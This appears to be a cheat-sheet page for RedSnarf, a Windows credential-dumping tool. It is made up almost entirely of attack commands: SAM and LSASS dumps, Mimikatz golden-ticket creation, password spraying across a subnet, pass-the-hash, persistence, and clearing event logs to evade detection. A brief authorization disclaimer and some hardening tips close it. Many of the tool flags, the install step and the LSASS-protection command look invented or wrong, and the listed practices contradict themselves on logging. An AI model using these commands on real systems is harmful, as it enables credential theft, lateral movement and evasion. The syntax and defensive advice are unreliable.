Aller au contenu

RedSnarf

RedSnarf is a specialized red team tool for extracting credentials and sensitive information from Windows systems. It provides methods to dump cached credentials, extract from SAM databases, harvest from memory, and extract from various Windows storage locations. Used by authorized security professionals for authorized penetration testing, red team engagements, and security assessments. Requires administrative privileges on target systems.

# Python 3.6+
python3 --version

# Required libraries
sudo apt-get install python3-pip python3-dev

# On Windows: Install Visual C++ build tools
# Download: https://visualstudio.microsoft.com/visual-cpp-build-tools/
git clone https://github.com/nccgroup/redsnarf.git
cd redsnarf
pip3 install -r requirements.txt
sudo apt-get install redsnarf
python3 redsnarf.py --help
redsnarf --version
which redsnarf
python3 redsnarf.py [options] <target>
redsnarf --help
redsnarf --version
redsnarf -h <target> -u <username> -p <password> -d <domain>
CommandPurpose
-h <target>Specify target host
-u <username>Username for authentication
-p <password>Password for authentication
-d <domain>Domain name
-LLocal system extraction
-RRemote system extraction
--samExtract SAM database
--lsassDump LSASS memory
--registryExtract from registry
--mimikatzRun Mimikatz commands
--hashExtract password hashes
--cachedDump cached credentials
-o <output>Output file
-vVerbose output
# Extract local SAM database (requires SYSTEM privileges)
python3 redsnarf.py -L --sam --output local_hashes.txt
# Dump LSASS process memory for credential extraction
python3 redsnarf.py -L --lsass --output lsass_dump.txt
# Extract cached domain credentials from registry
python3 redsnarf.py -L --cached --output cached_creds.txt
# Extract SAM from remote host
python3 redsnarf.py \
  -h 192.168.1.100 \
  -u Administrator \
  -p MyPassword123 \
  -d DOMAIN \
  --sam --output remote_hashes.txt
# Extract from all available sources
python3 redsnarf.py \
  -L \
  --sam \
  --lsass \
  --cached \
  --registry \
  --output all_creds.txt
# Access Windows registry for stored credentials
python3 redsnarf.py \
  -L \
  --registry \
  --hive SAM \
  --output registry_creds.txt
# Extract from remote registry via RDP/SMB
python3 redsnarf.py \
  -h 192.168.1.100 \
  -u Admin \
  -p Pass123 \
  -d DOMAIN \
  --registry \
  --remote
# Extract stored AutoLogon credentials
python3 redsnarf.py \
  -L \
  --registry \
  --key "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" \
  --output autologon.txt
# Extract stored VPN credentials from registry
python3 redsnarf.py -L --registry --vpn --output vpn_creds.txt
# Dump all password hashes from SAM
python3 redsnarf.py -L --hash --output hashes.txt
# Extract NTLM hashes for cracking
python3 redsnarf.py \
  -L \
  --hash \
  --format ntlm \
  --output ntlm_hashes.txt
# Extract legacy LM hashes (if available)
python3 redsnarf.py -L --hash --format lm --output lm_hashes.txt
# Extract and analyze hashes
python3 redsnarf.py \
  -L \
  --hash \
  --analyze \
  --output hash_analysis.txt
# Execute Mimikatz commands through redsnarf
python3 redsnarf.py \
  -h 192.168.1.100 \
  -u Admin \
  -p Pass123 \
  --mimikatz \
  --command "sekurlsa::logonpasswords" \
  --output mimikatz_output.txt
# Dump all credentials using Mimikatz
python3 redsnarf.py \
  -L \
  --mimikatz \
  --full \
  --output credentials_full.txt
# Use Mimikatz to create golden ticket
python3 redsnarf.py \
  --mimikatz \
  --command "kerberos::golden /user:Administrator /domain:DOMAIN.COM /sid:S-1-5-21-..." \
  --output golden_ticket.txt
# Extract credentials from remote Windows system
python3 redsnarf.py \
  -h 192.168.1.100 \
  -u domain\administrator \
  -p MyPassword123 \
  --remote \
  --lsass \
  --output remote_creds.txt
# Use SMB protocol for credential extraction
python3 redsnarf.py \
  -h 192.168.1.100 \
  -u Admin \
  -p Pass123 \
  -d DOMAIN \
  --smb \
  --remote \
  --sam
# Extract via WMI (Windows Management Instrumentation)
python3 redsnarf.py \
  -h 192.168.1.100 \
  -u Admin \
  -p Pass123 \
  -d DOMAIN \
  --wmi \
  --command "Get-Process lsass"
# Extract credentials from RDP sessions
python3 redsnarf.py \
  -h 192.168.1.100 \
  -u Admin \
  -p Pass123 \
  --rdp \
  --extract-sessions \
  --output rdp_sessions.txt
# Check current privilege level
python3 redsnarf.py -L --check-privs
# Leverage token impersonation for escalation
python3 redsnarf.py \
  -L \
  --impersonate \
  --target SYSTEM \
  --output impersonation_result.txt
# Extract service account credentials
python3 redsnarf.py \
  -h 192.168.1.100 \
  -u Admin \
  -p Pass123 \
  --service-accounts \
  --output service_creds.txt
# Extract from Group Policy Preferences (GPP)
python3 redsnarf.py \
  -L \
  --gpp \
  --output gpp_creds.txt
# Create target list
cat targets.txt
# 192.168.1.100 Administrator Pass123 DOMAIN
# 192.168.1.101 Admin Pass456 DOMAIN
# 192.168.1.102 User789 Pass789 DOMAIN

# Process all targets
while read host user pass domain; do
  python3 redsnarf.py -h "$host" -u "$user" -p "$pass" -d "$domain" \
    --sam --output "${host}_hashes.txt"
done < targets.txt
#!/bin/bash
# Harvest credentials from network
for ip in 192.168.1.{50..100}; do
  timeout 5 bash -c "python3 redsnarf.py -h $ip -u Administrator -p password --sam" &
done
wait
#!/bin/bash
# Combine all extracted credentials
cat *.txt | grep -E "admin|root|pass" > all_creds_combined.txt
sort all_creds_combined.txt | uniq > unique_creds.txt
# Extract usernames and hashes
python3 redsnarf.py -L --sam --output hashes.txt
cat hashes.txt | grep -oE "^[^:]+:[^:]+:[A-F0-9]{32}:[A-F0-9]{32}$"
# Convert hashes for use with Hashcat
python3 redsnarf.py -L --hash --output hashes.txt
cat hashes.txt | awk -F: '{print $4}' > hashcat_ntlm.txt
# Remove duplicate credentials
sort -u all_credentials.txt > unique_credentials.txt
# Search for plaintext credentials
grep -iE "password|pass|pwd|creds" extracted_output.txt
# Dump and parse process memory
python3 redsnarf.py \
  -L \
  --memory-dump \
  --process lsass \
  --output lsass_memory.bin

# Parse the dump
python3 redsnarf.py --parse-dump lsass_memory.bin --output parsed.txt
# Extract Kerberos tickets from memory
python3 redsnarf.py \
  -L \
  --kerberos \
  --extract-tickets \
  --output tickets.txt
# Extract DPAPI-encrypted credentials
python3 redsnarf.py \
  -L \
  --dpapi \
  --decrypt \
  --output dpapi_decrypted.txt
# Extract Windows Credential Manager credentials
python3 redsnarf.py \
  -L \
  --credential-manager \
  --output credential_manager.txt
# Extract credentials for lateral movement
python3 redsnarf.py \
  -h 192.168.1.100 \
  -u Admin \
  -p Pass123 \
  --extract-all \
  --lateral-movement-prep \
  --output lateral_creds.txt
# Extract data for establishing persistence
python3 redsnarf.py \
  -L \
  --persistence \
  --auto-logon \
  --scheduled-task \
  --output persistence_creds.txt
# Extract domain information
python3 redsnarf.py \
  -h 192.168.1.100 \
  -u Admin \
  -p Pass123 \
  -d DOMAIN \
  --domain-enum \
  --output domain_info.txt
# Minimize detection risk
python3 redsnarf.py \
  -L \
  --quiet \
  --no-logging \
  --minimal-output \
  --output creds.txt
# Clear event logs post-extraction
python3 redsnarf.py \
  -L \
  --cleanup \
  --clear-logs \
  --log-type Security,System
# Minimize forensic artifacts
python3 redsnarf.py \
  -L \
  --anti-forensics \
  --clear-timestamps \
  --remove-artifacts
# Requires SYSTEM privileges
sudo python3 redsnarf.py -L --sam

# Or use credentials with sufficient privileges
python3 redsnarf.py \
  -h 192.168.1.100 \
  -u DOMAIN\Administrator \
  -p MyPassword123 \
  --sam
# Verify network connectivity
ping 192.168.1.100

# Test SMB access
smbclient -L 192.168.1.100 -U Administrator%Password

# Check firewall
netstat -an | grep ESTABLISHED
# Verify Mimikatz availability
which mimikatz

# Check Python dependencies
pip3 list | grep -i mimic

# Reinstall requirements
pip3 install -r requirements.txt --upgrade
# Encrypt output file
python3 redsnarf.py -L --sam --output creds.txt
gpg --symmetric --armor creds.txt
# Store in structured format
python3 redsnarf.py \
  -L \
  --sam \
  --database credentials.db \
  --format sqlite
# Phase 1: Local system extraction
python3 redsnarf.py -L --extract-all --output local_system.txt

# Phase 2: Remote extraction
for host in $(cat internal_hosts.txt); do
  python3 redsnarf.py -h "$host" -u Admin -p Pass123 \
    --remote --lsass --output "${host}.txt"
done

# Phase 3: Credential aggregation
cat *.txt | grep -oE '[A-F0-9]{32}:[A-F0-9]{32}' > all_hashes.txt
# Extract domain credentials
python3 redsnarf.py \
  -h domain-controller \
  -u Administrator \
  -p DomainPassword \
  -d DOMAIN \
  --sam --lsass --cached \
  --output domain_dump.txt
# Extract local admin
python3 redsnarf.py -L --hash --output local_hashes.txt

# Use hash to access remote system
python3 redsnarf.py \
  -h 192.168.1.101 \
  -u Administrator \
  -p <NTLM_HASH> \
  --pass-the-hash \
  --extract-all
  1. Obtain Authorization - Only use on authorized systems with written permission
  2. Enable Logging - Log all operations for documentation and legal requirements
  3. Minimize Exposure - Extract credentials quickly and securely
  4. Secure Credentials - Encrypt and protect extracted credential data
  5. Documentation - Document all systems accessed and credentials extracted
  6. Clean Up - Remove tools and clear logs after authorized assessment
  7. Chain Custody - Maintain evidence chain for legal proceedings
  8. Incident Response - Have remediation plan for extracted credentials
# Enable additional access controls
net user Administrator /active:no

# Require strong passwords
net accounts /minpwlen:14 /complexity:on
# Enable LSASS protection (Windows 10+)
Set-ProcessMitigation -PolicyName "lsass.exe" -Enable ParentImageLoadAudit
# Enable Windows Defender Credential Guard
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" `
  -Name "LsaCfgFlags" -Value 1 -PropertyType DWORD